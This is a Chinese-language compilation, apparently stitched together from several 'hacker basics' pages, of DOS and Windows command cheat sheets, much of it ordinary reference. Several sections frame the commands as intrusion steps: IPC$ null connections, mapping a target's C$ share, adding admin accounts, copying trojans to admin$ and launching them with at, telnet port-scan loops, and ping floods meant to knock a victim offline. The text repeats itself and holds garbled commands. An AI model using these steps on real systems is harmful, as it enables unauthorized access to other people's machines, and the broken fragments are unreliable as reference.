黑客基础之DOS (最齐全)最新发布完整版
黑客菜鸟必须掌握的几个dos命令
-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息。
-n 列出本地机器的NETBIOS信息。
当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。
4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件： XX.XX.XX.XX 电脑名
5.开DOS窗口键入 NBTSTAT -R
6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可进入。
因为有我以上方法请不要乱用，本人对你用上面的方法所惹出的麻烦概不负责，请慎重。 对付上面进攻的最好办法就是隐藏你的IP地址。
下面我们举个例子来说明一下具体用法，
这里time<10ms表示从发出数据包到接受到返回数据包所用的时间小于10ms，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。这里TTL=128表示操作系统可能是Win2000。
七，ftp
大家对这个命令应该比较熟悉了吧？网络上开放ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。
首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入“help”来查看帮助（任何DOS命令都可以使用此方法查看其帮助）。
2，net user abcd /del，将用户名为abcd的用户删除。
黑客入门的DOS命令详解
黑客入门的DOS命令详解黑客入门DOS命令之ping它是用来检查网络是否通畅或者网络连接速度的命令。
作为一个生活在网络上的管理员或者黑*客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。
下面就来看看它的一些常用的操作。
先看看帮助吧，在DOS窗口中键入：ping /? 回车，。
所示的帮助画面。
在此，我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。
试想，如果你使用100M 的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
结合上面介绍的-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。
如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。
另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。
下面我们举个例子来说明一下具体用法。
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小。
从TTL的返回值可以初步判断被ping主机的操作系统，之所以说“初步判断”是因为这个值是可以修改的。
这里TTL=32表示操作系统可能是win98。
dos命令大全黑客必知的DOS命令集合
dos命令大全黑客必知的DOS命令集合各位读友大家好，此文档由网络收集而来，欢迎您下载，谢谢mysql -h主机地址-u用户名- p密码连接MYSQL ;如果刚安装好MYSQL,超级用户root是没有密码的。
(例: mysql - -Uroot -P123456注:u与root可以不用加空格,其它也-样)exit退出MYSQLmysqladmin -u用户名-p旧密码password新密码修改密码grant select on数据库.* to用户名@登录主机identified by “密码”;增加新用户。
(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一一个分号作为命令结束符)show databases;显示数据库列表。
刚开始时才两个数据库: mysq|和test。
mysq|库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;show tables;显示库中的数据表describe表名;显示数据表的结构create database库名;建牵use库名;create table表名(字段设定列表);建表drop database库名;drop table表名;删库和删表delete from表名;将表中记录清空select * from表名;显示表中的记录mysqldump -pt school>备份数据库: ( 命令在DOS的mysqlDin目录下执行) ;注释:将数据车school备份到文件, 是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份) :shutdown /参数关闭或重启本地或远程主机。
参数说明: /S关闭主机, /R重启主机，/T 数字设定延时的时间,范围0 ~ 180秒之间, /A取消开机, /M//IP指定的远程主机。
例: shutdown/r /t 0立即重启本地主机(无延时)taskill /参数进程名或进程的pid终止一一个或多个任务和进程。
DOS命令黑客大全
net use \\ip\ipc$ " " /user:" " 建立IPC空链接net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: \\ip\c$ 登陆后映射对方C：到本地为H:net use \\ip\ipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名密码/add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名查看帐户的属性net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名开启服务；(如:net start telnet，net start schedule)net stop 服务名停止某服务net time \\目标ip 查看对方时间net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \\ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
黑客必备之DOS大总和(史上最全)(3)
win2003系统下新增命令（实用部份）：
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
dos命令全集(最新完整版 )
dos命令全集DOS命令全集DOS命令全集一）MD——建立子目录1．功能：创建新的子目录2．类型：内部命令3．格式：MD[盘符：][路径名]〈子目录名〉4．使用说明：（1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器；（2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。
例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。
C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX）C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录）（二）CD——改变当前目录1．功能：显示当前目录2．类型：内部命令3．格式：CD[盘符：][路径名][子目录名]4．使用说明：（1）如果省略路径和子目录名则显示当前目录；（2）如采用“CD、”格式，则退回到根目录；（3）如采用“CD.。
”格式则退回到上一级目录。
例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。
C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录）C:、FOX、USER＞CD.。
（退回上一级根目录）C：、FOX＞CD、 （返回到根目录）C：、＞（三）RD——删除子目录命令1．功能：从指定的磁盘删除了目录。
2．类型：内部命令3．格式：RD[盘符：][路径名][子目录名]4．使用说明：（1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子（2）不能删除根目录和当前目录。
例：要求把C盘FOX子目录下的USER子目录删除，操作如下：第一步：先将USER子目录下的文件删空；C、＞DEL C：、FOX、USER、*。
*第二步，删除USER子目录。
C、＞RD Ｃ：、FOX、USER（四）DIR——显示磁盘目录命令1．功能：显示磁盘目录的内容。
2．类型：内部命令3．格式：DIR [盘符][路径][/P][/W]4使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清any key to continue/W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。
黑客基础之最全的DOS命令
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
黑客基础之最全的DOS命令
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
目前最新最全的DOS命令集 (包括常用黑软的使用命令)
目前最新最全的DOS命令集（包括常用黑软的使用命令）net use \\ip\ipc$ " " /user:" " 建立IPC空链接net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H:net use \\ip\ipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名密码/add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名查看帐户的属性net localgroup ***istrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数net start 查看开启了哪些服务net start 服务名开启服务；(如:net start telnet，net start schedule)net stop 服务名停止某服务net time \\目标ip 查看对方时间net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \\ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
黑客常用dos命令
黑客常用dos命令学习黑客必先修炼dos操作,一个好的黑客,dos 是基础,零基础入门到精通全套黑客视频教程视频教程黑客常用dos命令（1）选用/P参数，系统在删除前询问是否真要删除该文件，若不使用这个参数，则自动删除；（2）该命令不能删除属性为隐含或只读的文件；（3）在文件名称中可以使用通配符；（4）若要删除磁盘上的全部文件（DEL**或DEL），则会提示：(Arey ou sure？）（你确定吗？）若回答Y，则进行删除，回答N，则取消此次删除作业。
（八）UNDELETE——恢复删除命令1．功能：恢复被误删除命令2．类型：外部命令。
3．格式：UNDELETE[盘符：][路径名]〈文件名〉[/DOS]/LIST][/ALL] 4．使用说明：使用UNDELETE可以使用“*”和“？”通配符。
（1）选用/DOS参数依据名目里残留的记录来恢复文件。
由于文件被删除时，名目所记载斩文件名第一个字符会被改为E5，DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件，所以，UNDELETE会要求用户输入一个字符，以便将文件名字补齐。
但此字符不必和原来的一样，只需符合DOS的文件名规章即可。
（2）选用/LIST只“列出”符合指定条件的文件而不做恢复，所以对磁盘内容完全不会有影响。
（3）选用/ALL自动将可完全恢复的文件完全恢复，而不一一地询问用户，使用此参数时，若UNDELTE利用名目里残留的记录来将文件恢复，则会自动选一个字符将文件名补齐，并且使其不与现存文件名相同，选用字符的优选挨次为：#%——0000123456789A~Z。
UNDELETE还具有建立文件的防护措施的功能，已超出本课程授课范围，请读者在使用些功能时查阅有关DOS手册。
七、其它命令（一）CLS——清屏幕命令1功能：清除屏幕上的全部显示，光标置于屏幕左上角。
2类型：内部命令。
黑客DOS命令
一步：进入系统1. 扫描目标主机。
2. 检查开放的端口，获得服务软件及版本。
3. 检查服务软件是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
4. 检查服务软件的附属程序(*1)是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
5. 检查服务软件是否存在脆弱帐号或密码，如果是，利用该帐号或密码系统；否则进入下一步。
6. 利用服务软件是否可以获取有效帐号或密码，如果是，利用该帐号或密码进入系统；否则进入下一步。
7. 服务软件是否泄露系统敏感信息，如果是，检查能否利用；否则进入下一步。
8. 扫描相同子网主机，重复以上步骤，直到进入目标主机或放弃。
黑客入侵的五个步骤对于网络安全来说，成功防御的一个基本组成部分就是要了解敌人。
就象防御工事必须进行总体规划一样，网络安全管理人员必须了解黑客的工具和技术，并利用这些知识来设计应对各种攻击的网络防御框架。
根据来自国际电子商务顾问局白帽黑客认证的资料显示，成功的黑客攻击包含了五个步骤：搜索、扫描、获得权限、保持连接，消除痕迹。
在本文中，我们就将对每个阶段进行详细的分析。
在将来的文章中，我还会对检测方式进行详细的说明。
第一阶段：搜索搜索可能是耗费时间最长的阶段，有时间可能会持续几个星期甚至几个月。
黑客会利用各种渠道尽可能多的了解企业类型和工作模式，包括下面列出这些范围内的信息：互联网搜索社会工程垃圾数据搜寻域名管理/搜索服务非侵入性的网络扫描这些类型的活动由于是处于搜索阶段，所以属于很难防范的。
很多公司提供的信息都属于很容易在网络上发现的。
而员工也往往会受到欺骗而无意中提供了相应的信息，随着时间的推移，公司的组织结构以及潜在的漏洞就会被发现，整个黑客攻击的准备过程就逐渐接近完成了。
不过，这里也提供了一些你可以选择的保护措施，可以让黑客攻击的准备工作变得更加困难，其中包括了：确保系统不会将信息泄露到网络上，其中包括：软件版本和补丁级别电子邮件地址关键人员的姓名和职务确保纸质信息得到妥善处理接受域名注册查询时提供通用的联系信息禁止对来自周边局域网/广域网设备的扫描企图进行回应第二阶段：扫描一旦攻击者对公司网络的具体情况有了足够的了解，扫描软件：他或她就会开始对周边和内部网络设备进行扫描，以寻找潜在的漏洞，其中包括：开放的端口开放的应用服务包括操作系统在内的应用漏洞保护性较差的数据传输每一台局域网/广域网设备的品牌和型号在扫描周边和内部设备的时间，黑客往往会受到入侵防御(IDS)或入侵检测(IPS)解决方案的阻止，但情况也并非总是如此。
黑客必备的DOS命令
黑客必备的DOS命令3.1 基本的DOS 命令1、dir命令格式：dir 盘符:\路径参数功能：显示磁盘目录命令。
参数：/p:作用分页显示/W:作用是只显示文件名，至于文件大小及建立的日期和时间都省略。
/a:列出系统的所有文件包括隐藏文件/h:列出系统的隐藏文件例题：dir c:\ /p2、cd命令格式： cd path：进入path路径。
cd ..：放回上一级目录。
cd \：立即返回根目录。
3、批处理命令批处理也称为批处理脚本，顾名思义，就是对某对象进行批量的处理，批处理文件一般有.bat和.cmd扩展名。
创建批处理文件方法一：p1.bat(1)、打开记事本，输入 dir、md text、 dir命令，每个命令用回车换行（2）保存文件名为p1.bat创建批处理文件方法二：p2.bat（1）使用copy con命令：copy con p2.bat（2）接着输入dir、md text、 dir命令，每个命令用回车换行（3）输入完毕后按下ctrl+z，再按回车就完成了创建批处理文件。
3.2 DOS命令的应用1、使用DOS命令扫描端口For /l %a in (1,1,254) do start /low /min telnet 192.168.0. %a %b作用：这样就会扫描192.168.0.x段的全部1到65535段口，同时尝试对主机进行Telnet登陆，若登陆失败则会在5秒内自动退出解释命令：For：是批处理中的循环语句;for /l :就是递增循环for /l %a in (初始值,递增值,结束值) do 批处理命令,这里填的是 1，1,254 就是从1到254增加start ：是执行命令 /min 参数就是最小化执行 /low参数就是优先执行telnet 192.168.0.%a 3389 ：就是扫描 192.168.0.%a的3389端口是否开放。
%a：是for循环递增的值也就是 1,2,3,4,5,6,7 (254)这条命令虽然可以扫描一个网段的3389端口,但是执行效率不高,速度很慢,因为原理是用telnet 去连接对方的3389端口你可以脱离出来测试比如直接telnet 192.168.0.5 3389 查看 192.168.0.5的3389是否开放。
入侵必练DOS命令
入侵必练DOS命令我们都知道和目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，其实这个命令是DOS基础的命令，我这里就写个格式。
一、copy呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。
copy 本地文件 \\目标IP\目标共享文件夹（一般是admin$）如果提示"命令成功完成"，那恭喜你，你的权限够，并且文件成功的复制到目标主机。
二、at这个是"计划服务"的命令，我们一般是用它来运行我们复制到目标主机的程序。
我们首先用net time命令查看目标主机的当前时间，然后再用at 来运行。
它的格式是at \\目标主机IP 时间（什么时间运行，我们一般设定为与目标主机时间差一分钟）运行的程序名称好这样我们就加了一条计划任务，下面我们就等着程序的运行了。
在此期间我们可以用at \\目标主机IP 来查看程序是否运行。
如果我们加的记录还在里面说明程序还没有运行，如果提示记录为空说明我们的程序已经运行了，呵呵下面该干什么，干什么了。
好我要补充的命令就这两个，其实主要是AT命令呵呵，下面我再大概的讲讲入侵步骤吧。
1.确定目标主机这点是必须的，因为如果你连要入侵的主机都没有确定，那怎么入侵呀，入侵谁呀？对吧，呵呵。
其实这点最好定了，因为我们既然要入侵肯定是要找好目标的。
具体的确定方法，每个人都有自己的特点，没有统一的什么规则。
2.扫描目标主机有许多人把这步放在第一，他们总是喜欢找个IP 段，然后无目的的乱扫，如果扫到有时候漏洞的主机就很高兴，如果扫不到，呵呵就说扫描器不好，或是没有找对IP段。
我个人不赞同这种做法，我觉得这种做法真的很愚蠢，而且效果特别的差。
除非本来自己就是准备乱扫的，本来就没有什么目标那可以。
我一般是先确定主机后，手工或是从表面来看看，然后在用扫描器进行扫描探测得出结果。
这样成功率更高一点。
3.分析探测结果这点是不能省的，一般扫描结果出来后，有些人就看扫描器给的结果中有没有弱口令，或是什么漏洞等，如果有就进行入侵，如果没有就跳过了。
DOS_概述及入门_黑客必备
----------------------- Page 5-----------------------
比如第一行的这个文件叫，其后缀名为com，如果我们要执行它，只需在提示符下敲入文件基本名然后回车即可，不需输 入后缀名。（这其实是我们后面要学的格式化命令format，不要试着按画面上的提示文字输入，否则你Ａ盘上的资料就要没了，等学了后 续章节后，你明白了这个命令后再试，现在千万不要乱用！！！） 又比如，第二行的这个文件mem.exe，其后缀是exe，也是一个可以执行的文件，它的功能是查看电脑目前内存的占用情况。在提示 符下敲mem，然后回车。（这个命令没问题，你可以试试看） 这里显示了电脑总共有多少内存，现在使用了多少，还剩多少，以及使用了多少基本内存，还剩下多少基本内存等情况，这些在下面 将有详细解释。 当我们在c盘的根目录下查看文件时，往往会看到这个 autoexec.bat 文件，其后缀是bat，说明它是一个批处理文件，也是可以直 接执行的。 第 5 页 共 36 页
黑客常用的DOS命令
一、基本DOS命令1.Dir命令Dir命令dir命令是显示磁盘目录命令。
在命令提示符中输入dir命令，然后按下enter键，即可查看当前目录下的资源列表。
根据资源列表中的显示文件/文件夹名称。
可以轻松的调用其中的文件资源，还可以进行路径的转换。
对于一个黑客来说，必须记住dir 命令的/a参数，该参数是查看目标主机中是否带有隐藏性质的文件，例如病毒、木马等。
使用的格式：dir+盘符+路径+/p+/w。
/p是用来规定每页显示23行。
并提示press any key to continue/w表示只显示文件名，不显示其它如文件夹大小等信息。
1)打开命令提示符窗口，输入dir d:/a:d命令按下回车即可查看D的所有文件夹目录。
2)输入dir d:/a-d命令按下回车即可查看d盘下的所有文件。
2.Cd命令CD命令是改变目录命令，可以用于切换路径目录。
Cd命令的使用主要有三种方法。
*cd path:path是路径的意思，如输入cd c:/windows、cd /c:等。
*cd..: cd后面加个“.”表示回上级目录。
如当前命令提示为D:\user\administrator输入cd..命令回车后则回到D:\user。
*cd\..表示立即返回根目录。
3.批处理二、DOS命令应用1.用dos命令进行端口扫描在命令提示符下输入for/1%in(1,1,254)dofor/1%bin(1,1,65535)do start /low/min/telnet 192.168.0.%a%b 。
回车后即可扫描192.168.0.x这个时段开放的3389端口主机，同时尝试对主机进行telnet登陆。
如果失败5秒后会自动退出。
2.arp命令3.at命令打开命令提示符输入net use\\192.168.1.86/user:”administrator” jxd命令，其中administrator是账户名称 jxd是账户密码。
但必须先确定192.168.1.86这台目标机器有该账户的存在。
dos命令必知的DOS命令集合
dos命令必知的DOS命令集合dos命令大全黑客必知的DOS命令集合_DOS/BAT net use ipipc$ "" /user:"”建立IPC空链接net use ipipc$ "密码”/user:"用户名"建立IPC非空链接net use h: ipc$ "密码" /user:"用户名"直接登陆后映射对方C :到本地为H:net use h: ipc$登陆后映射对方C :到本地为H:net use ipipc$ /del删除IPC链接net use h: /del删除映射对方到本地的为H:的映射net user用户名密码/add 建立用户net user guest /active:yes激活guest用户net user查看有哪些用户net user帐户名查看帐户的属性net locaLGroup administrators用户名/add把”用户"添加到管理员中使其具有管理员权限注意: administrator后加s用复数net start查看开启了哪些服务net start服务名开启服务; (如:net start telnet，net start schedule)net stop服务名停止某服务net time目标ip查看对方时间net time目标ip /set设置本地计算机时间与目标IP”主机的时间同步加上参数/yes 可取消确认信息net view查看本地局域网内开启了哪些共享net view ip查看对方局域网内开启了哪些共享net config显示系统网络设置net logoff断开连接的共享net pause服务名暂停某服务net send ip "文本信息"向对方发信息net ver局域网内正在使用的网络连接类型和信息net share查看本地开启的共享net share ipc$开启ipc$共享net share ipc$ /del删除ipc$共享net share c$ /del删除C :共享net share c$ /del删除C:共享net user guest 12345用guest用户登陆后用将密码改为12345 net password密码更改系统登陆密码netstat -a查看开启了哪些端口，常用netstat -annetstat -n查看端口的网络连接情况,常用netstat -annetstat -V查看正在进行的工作netstat -p协议名例: netstat -p tcq/ip查看某协议使用情况(查看tcp/ip协议使用情况)netstat -s查看正在使用的所有协议使用情况nBTstat -A ip对方136到139其中一一个端口开了的话,就可查看对方最近登陆的用户名( 03前的为用户名) -注意:参数-A要大写trAcert -参数ip(或计算机名)跟踪路由(数据包) , 参数: "-w数字”用于设置超时间隔。
黑客DOS命令
IPC入侵（internet process connection） 是共享"命名管道"的资源，它是为了让进 程间通信而开放的命名管道，通过提供可 信任的用户名和口令，连接双方可以建立 安全的通道并以此通道进行加密数据的交 换，从而实现对远程计算机的访问。 同一时间，两个IP之间只能允许建立一个 连接。 在初次安装系统时就打开了默认共享，即 C$,d$ 控制面板-管理工具-计算机管理管理、共 享文件夹、共享
能显示某些指定的相关信息吗？ 编辑edit a.bat @echo sorry,I am a hacker. @Cd windows @Cd system32 @Calc..exe
编写批处理，清除垃圾文件。 什么是属于垃圾文件: tmp _mp临时文件，占用空间。 log 日志文件 临时帮助文件（*.gid） 磁盘检查文件（*.chk） 临时备份文件（如：*.old、*.bak）
Net config 显示系统网络设置 Net logoff断开连接的共享 Net pause 服务名 暂停某服务 Net send ip 向对方 Net share 查看本地共享 Net share ipc$开启ipc$共享 Net share ipc$ /del 删除ipc$共享 Net share c$ /del 删除C盘共享
Net user \\222.16.103.X\ipc$ “123” / user:”administrator” Dir \\192.168.xx\C$
Net user 查看有哪些用户 Net user guest /active:yes 激活guest用户 Net user 用户帐号 查看账号的属性 Net localgroup administrator 用户名 Net start 查看开启了哪些用户 Net start 服务码 开启服务 Net stop 服务名 停止某服务 Net time \\目标IP 查看对方时间 Net view 查看本地局域网开启了哪些共享 Net view \\ip 查看对方局域网内开通了哪些共 享
DOS攻击基础教程
DOS攻击基础教程DOS（拒绝服务）攻击是一种常见的网络攻击方法，旨在使目标系统无法正常运行或访问网络服务。
DOS攻击并不是利用系统漏洞进行入侵，而是通过对目标网络服务发动大量请求，耗尽其资源，从而导致目标系统无法正常运行。
下面是一个关于DOS攻击基础教程，包括攻击原理、攻击类型和预防方法。
攻击原理：DOS攻击的基本原理是通过发送大量请求来消耗目标系统的服务资源，从而使其无法继续正常工作。
这些请求可以是有效的请求，也可以是伪造的无效请求。
攻击者通常使用多台计算机或者僵尸网络（Botnet）来发送攻击请求，以增加攻击的规模和难以追踪攻击源。
攻击类型：1.SYN洪水攻击：攻击者发送大量SYN（同步）请求到目标系统的服务端口，但从不回复后续的确认请求，从而造成服务端口被占用，导致合法用户无法访问目标系统。
2. ICMP洪水攻击：攻击者发送大量的ICMP（Internet控制消息协议）请求到目标系统，从而导致目标系统的网络带宽被耗尽，无法正常工作。
3.UDP洪水攻击：攻击者发送大量的UDP（用户数据报协议）请求到目标系统的服务端口，导致目标系统无法处理这些请求，从而造成服务端口被耗尽，无法正常工作。
预防方法：1.使用防火墙：配置防火墙以阻止来自未知IP地址或异常流量的请求。
防火墙策略可以根据特定的IP地址、协议或端口来过滤流量，从而有效地防止DOS攻击。
2.加强服务器资源：增加目标系统的服务资源，如带宽、处理能力和内存等，以承受更大规模的请求。
3.流量限制：实施流量限制策略，限制来自单个IP地址或单个请求源的流量，并设置最大请求速率，从而防止DOS攻击的规模扩大。
4.使用入侵检测系统（IDS）和入侵防御系统（IPS）：IDS和IPS可以帮助实时监测和阻止恶意流量，从而及时发现并应对DOS攻击。
5.追踪攻击源：通过分析日志和数据包，确定DOS攻击的源IP地址，并通过报告给ISP或相关执法机构来进行进一步调查和制裁。
黑客必学的DOS命令
3.1基本DOS命令在DOS应用中，一些基本的命令是必须掌握的，例如查看目标主机的资源、路径的切换等。
下面归纳了一些基本的DOS命令，帮助用户更好地学习DOS。
3.1.1 Dir命令Dir命令是显示磁盘目录命令。
在命令提示符窗口中输入Dir命令，然后按下Enter键，即可查看当前目录下的资源列表。
根据资源列表中显示的文件/文件夹名称，可以轻松调用其中的文件资源，还可以进行路径的切换。
对于一名黑客来说，必须记住Dir 命令的/a参数，该参数是查看目标主机中带有隐藏性质的文件，例如木马程序、病毒程序等。
使用Dir命令的格式为DIR+盘符+路径+/P+/W。
/P作用是当要查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示Press any key to continue(按下任意键继续)。
/W作用是只显示文件名，至于文件大小及建立的日期和时间则都省略。
加上参数后，每行可以显示5个文件名。
【例3-1】在命令提示符窗口中使用Dir命令来查看D盘中的资源。
打开命令提示符窗口，输入Dir d: /a:d命令，按下Enter键，即可查看D盘下的所有文件目录。
输入Dir d: /a-d命令，按下Enter键，即可查看D盘下的所有文件。
3.1.2 CD命令CD(Change Directory)命令是改变目录命令，可以用于切换路径目录。
CD命令的使用主要有以下3种方法。
CD PA TH：PA TH是路径的意思，例如输入CD C:\Windows、CD \C:等。
主要路径存在，在CD后面就可以输入该路径，否则提示错误信息。
CD..：CD后面加上两个“.”号表示黑客攻防入门与进阶36回到上级父目录，例如当前命令提示符路径为D:\users\administrator，输入CD..命令，按下Enter键后，将会返回到上一级目录，即D:\users目录。
DOS命令大全(最全版)
DOS命令大全(最全版) D例：要求把C盘FOX子目录下的USER子目录删除，操作如下：第一步：先将USER子目录下的文件删空；C、＞DEL C：\FOX\USER\*.*第二步，删除USER子目录。
C、＞RD Ｃ：\FOX\USER（四）DIR——显示磁盘目录命令1．功能：显示磁盘目录的内容。
2．类型：内部命令3．格式：DIR [盘符][路径][/P][/W]4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue/W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。
加上参数后，每行可以显示五个文件名。
PATH——路径设置命令1．功能：设备可执行文件的搜索路径，只对文件有效。
2．类型：内部命令3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…}4．使用说明：（1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件；（2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开；（3）PATH命令有三种使用方法：PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径）PATH：（显示目前所设的路径）（六）TREE——显示磁盘目录结构命令1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。
